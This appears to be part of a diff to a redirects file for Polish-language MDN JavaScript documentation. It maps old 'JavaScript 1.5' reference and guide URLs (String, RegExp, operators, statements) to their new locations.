+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages/java /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/java
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages/nazwaKlasy /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/nazwaKlasy
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages/netscape /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/netscape
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Packages/sun /pl/docs/Web/JavaScript/Referencje/Obiekty/Packages/sun
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/exec /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/exec
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/global /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/global
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/ignoreCase /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/ignoreCase
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/prototype
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/source /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/source
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/test /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/test
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/toSource
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/RegExp/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/RegExp/toString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/anchor /pl/docs/Web/JavaScript/Referencje/Obiekty/String/anchor
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/big /pl/docs/Web/JavaScript/Referencje/Obiekty/String/big
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/blink /pl/docs/Web/JavaScript/Referencje/Obiekty/String/blink
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/bold /pl/docs/Web/JavaScript/Referencje/Obiekty/String/bold
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/charAt /pl/docs/Web/JavaScript/Referencje/Obiekty/String/charAt
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/charCodeAt /pl/docs/Web/JavaScript/Referencje/Obiekty/String/charCodeAt
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/concat /pl/docs/Web/JavaScript/Referencje/Obiekty/String/concat
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/constructor /pl/docs/Web/JavaScript/Referencje/Obiekty/String
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/fixed /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fixed
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/fontcolor /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fontcolor
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/fontsize /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fontsize
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/fromCharCode /pl/docs/Web/JavaScript/Referencje/Obiekty/String/fromCharCode
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/italics /pl/docs/Web/JavaScript/Referencje/Obiekty/String/italics
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/length /pl/docs/Web/JavaScript/Referencje/Obiekty/String/length
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/link /pl/docs/Web/JavaScript/Referencje/Obiekty/String/link
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/prototype /pl/docs/Web/JavaScript/Referencje/Obiekty/String/prototype
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/search /pl/docs/Web/JavaScript/Referencje/Obiekty/String/search
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/slice /pl/docs/Web/JavaScript/Referencje/Obiekty/String/slice
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/small /pl/docs/Web/JavaScript/Referencje/Obiekty/String/small
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/strike /pl/docs/Web/JavaScript/Referencje/Obiekty/String/strike
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/sub /pl/docs/Web/JavaScript/Referencje/Obiekty/String/sub
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/substr /pl/docs/Web/JavaScript/Referencje/Obiekty/String/substr
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/substring /pl/docs/Web/JavaScript/Referencje/Obiekty/String/substring
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/sup /pl/docs/Web/JavaScript/Referencje/Obiekty/String/sup
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/toLowerCase /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toLowerCase
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/toSource /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toSource
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/toString /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toString
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/toUpperCase /pl/docs/Web/JavaScript/Referencje/Obiekty/String/toUpperCase
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/String/valueOf /pl/docs/Web/JavaScript/Referencje/Obiekty/String/valueOf
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/java /pl/docs/Web/JavaScript/Referencje/Obiekty/java
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/netscape /pl/docs/Web/JavaScript/Referencje/Obiekty/netscape
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/sun /pl/docs/Web/JavaScript/Referencje/Obiekty/sun
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory /pl/docs/Web/JavaScript/Referencje/Operatory
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_arytmetyczne /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_arytmetyczne
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_dzia%C5%82aj%C4%85ce_na_ci%C4%85gach_znak%C3%B3w /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_dzia%C5%82aj%C4%85ce_na_ci%C4%85gach_znak%C3%B3w
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_pami%C4%99ci /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_pami%C4%99ci
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_przypisania /pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_przypisania
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne /pl/docs/Web/JavaScript/Referencje/Operatory
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_delete /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_delete
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_function /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_function
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_in /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_in
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_instanceof /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_instanceof
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_new /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_new
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_przecinkowy /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_przecinkowy
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_typeof /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_typeof
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_void /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_void
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_warunkowy /pl/docs/Web/JavaScript/Referencje/Operatory/Operator_warunkowy
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w /pl/docs/Web/JavaScript/Referencje/Operatory/Pierwsze%C5%84stwo_operator%C3%B3w
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia /pl/docs/Web/JavaScript/Referencje/Polecenia
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/block /pl/docs/Web/JavaScript/Referencje/Polecenia/block
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/break /pl/docs/Web/JavaScript/Referencje/Polecenia/break
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/const /pl/docs/Web/JavaScript/Referencje/Polecenia/const
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/do...while /pl/docs/Web/JavaScript/Referencje/Polecenia/do...while
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/etykieta /pl/docs/Web/JavaScript/Referencje/Polecenia/etykieta
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/export /pl/docs/Web/JavaScript/Referencje/Polecenia/export
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/for /pl/docs/Web/JavaScript/Referencje/Polecenia/for
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/function /pl/docs/Web/JavaScript/Referencje/Polecenia/function
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/if...else /pl/docs/Web/JavaScript/Referencje/Polecenia/if...else
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/import /pl/docs/Web/JavaScript/Referencje/Polecenia/import
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/return /pl/docs/Web/JavaScript/Referencje/Polecenia/return
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/switch /pl/docs/Web/JavaScript/Referencje/Polecenia/switch
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/throw /pl/docs/Web/JavaScript/Referencje/Polecenia/throw
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/var /pl/docs/Web/JavaScript/Referencje/Polecenia/var
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Polecenia/while /pl/docs/Web/JavaScript/Referencje/Polecenia/while
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Przestarza%C5%82e_w%C5%82asno%C5%9Bci_i_metody /pl/docs/Web/JavaScript/Referencje/Przestarza%C5%82e_w%C5%82asno%C5%9Bci_i_metody
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/S%C5%82owa_zarezerwowane /pl/docs/Web/JavaScript/Referencje/S%C5%82owa_zarezerwowane
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bci/Infinity /pl/docs/Web/JavaScript/Referencje/Obiekty/Infinity
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bci/NaN /pl/docs/Web/JavaScript/Referencje/Obiekty/NaN
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bci/undefined /pl/docs/Web/JavaScript/Referencje/Obiekty/undefined
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/W%C5%82asno%C5%9Bciundefined /pl/docs/Web/JavaScript/Referencje/Obiekty/undefined
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Wyra%C5%BCenia /pl/docs/Web/JavaScript/Referencje/Polecenia
+/pl/docs/Web/JavaScript/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Wyra%C5%BCenia/const /pl/docs/Web/JavaScript/Referencje/Polecenia/const
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Czytanie_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcja_p%C4%99tli /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcja_p%C4%99tli/Instrukcja_do_...while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continues /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Nazywanie_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_i_w%C5%82asno%C5%9Bci
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_logiczny /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Obiekty_predefiniowane/Obiekt_Boolean
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_bitowe /pl/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnywania /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_por%C3%B3wnania
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operatory_string /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Operatory/Operacje_na_%C5%82a%C5%84cuchach
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Podgl%C4%85d_JavaScriptu /pl/docs/JavaScript/Guide/Przeglad_JavaScript
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Globalne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Globlne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciow%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Globalne_informacje_w_konstruktorach /pl/docs/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Globalne_informacje_w_konstruktorach
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82a%C5%9Bciwo%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Warto%C5%9Bci_lokalne_vs._dziedziczone
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Brak_wielokrotnego_dziedziczenia /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_multiple_inheritance
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Powr%C3%B3t_dziedziczenia_w%C5%82asno%C5%9Bci/Okre%C5%9Blanie_wzajemnych_relacji_obiektu /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu/Dodawanie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dodawanie_w%C5%82asno%C5%9Bci
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82a%C5%9Bciwo%C5%9Bci_obiektu/Dziedziczenie_w%C5%82a%C5%9Bciwo%C5%9Bci /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_przyk%C5%82adem/W%C5%82asno%C5%9Bci_obiektu/Dziedziczenie_w%C5%82asno%C5%9Bci
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Praca_z_wyra%C5%BCeniami_regularnymi /pl/docs/Web/JavaScript/Guide/Regular_Expressions#Working_with_Regular_Expressions
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Przegl%C4%85d_JavaScriptu /pl/docs/JavaScript/Guide/Przeglad_JavaScript
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82a%C5%9Bciowo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Definiowanie_w%C5%82asno%C5%9Bci_typu_obiektu
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82a%C5%9Bciowo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82a%C5%9Bciwo%C5%9Bci_obiektu /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Indeksowanie_w%C5%82asno%C5%9Bci_obiektu
+/pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/U%C5%BCywanie_'this'_do_obiektu_referencji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%C3%B3w/Zastosowanie_'this'_do_obiektu_referencji
